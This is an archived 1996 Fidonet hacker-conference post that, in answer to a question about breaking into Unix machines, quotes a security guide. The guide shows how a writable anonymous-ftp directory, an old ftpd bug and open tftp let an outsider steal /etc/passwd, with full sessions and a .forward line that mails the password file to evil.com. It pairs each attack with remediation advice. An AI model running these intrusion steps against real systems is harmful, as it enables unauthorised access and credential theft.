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          Это - достаточно беспорядочный архив сообщений конференций сети fidonet, которые на момент их прочтения мной показались полезными или интересными. Многие устарели, многие узкоспецифичны и малоинтересны, но может оказаться и что-то новое...
         
- __techs (2:5015/42) ----------------------------------------------- __techs -
Msg  : 46 of 1000                          Scn
From : Artem Ikoev                         2:5020/714      29 Jun 96  08:44:00
To   : MaD k0DeR                                           30 Jun 96  00:17:52
Subj : Re: Unix passwd
-------------------------------------------------------------------------------
@AREA:RU.HACKER
   Hi MaD!


Friday June 28 1996 19:25, MaD k0DeR wrote to Egor Egorov:

MD>      Слушайте , люди , вы вот все время говорите "будем ломать" .
MD> А как ? Я понимаю - единственное , что остается - это написание
MD> скриптов , повисание на всяких интересных портах Униха , но все же ,
MD> может кто-нить более конкретно скажет ?

----

What now?  Have you uncovered all the holes on your target system?  Not
by a long shot.  Going back to the finger results on your target, you
notice that it has an "ftp" account, which usually means that anonymous
ftp is enabled.  Anonymous ftp can be an easy way to get access, as it
is often misconfigured.  For example, the target may have a complete
copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
instead of a stripped down version.  In this example, though, you see
that the latter doesn't seem to be true (how can you tell without
actually examining the file?)  However, the home directory of ftp on
victim.com is writable.  This allows you to remotely execute a command
-- in this case, mailing the password file back to yourself -- by the
simple method of creating a .forward file that executes a command when
mail is sent to the ftp account. This is the same mechanism of piping
mail to a program that the "vacation" program uses to automatically
reply to mail messages.

evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"

evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x  4 101      1             512 Jun 20  1991 .
drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com

Now you simply wait for the password file to be sent back to you.

The security auditing tool COPS will check your anonymous ftp setup; see
the man page for ftpd, the documentation/code for COPS, or CERT advisory
93:10 for information on how to set up anonymous ftp correctly.
Vulnerabilities in ftp are often a matter of incorrect ownership or
permissions of key files or directories. At the very least, make sure
that ~ftp and all "system" directories and files below ~ftp are owned by
root and are not writable by any user.

While looking at ftp, you can check for an older bug that was once
widely exploited:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)

If this works, you now are logged in as root, and able to modify the
password file, or whatever you desire.  If your system exhibits this
bug, you should definitely get an update to your ftpd daemon, either
from your vendor or (via anon ftp) from ftp.uu.net.

The wuarchive ftpd, a popular replacement ftp daemon put out by the
Washington University in Saint Louis, had almost the same problem.  If
your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
more recent version.

Finally, there is a program vaguely similar to ftp -- tftp, or the
trivial file transfer program.  This daemon doesn't require any password
for authentication; if a host provides tftp without restricting the
access (usually via some secure flag set in the inetd.conf file), an
attacker can read and write files anywhere on the system. In the
example, you get the remote password file and place it in your local
/tmp directory:

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

For security's sake, tftp should not be run; if tftp is necessary, use
the secure option/flag to restrict access to a directory that has no
valuable information, or run it under the control of a chroot wrapper
program.

>                                            :Jack-In-The-Box:
>                                                 sodom

                                             AniCoder // D$C

--- GoldED/2 2.50+
* Origin:  Angel'S Stench BBS Line#1 // D$C Member Board (2:5020/714)






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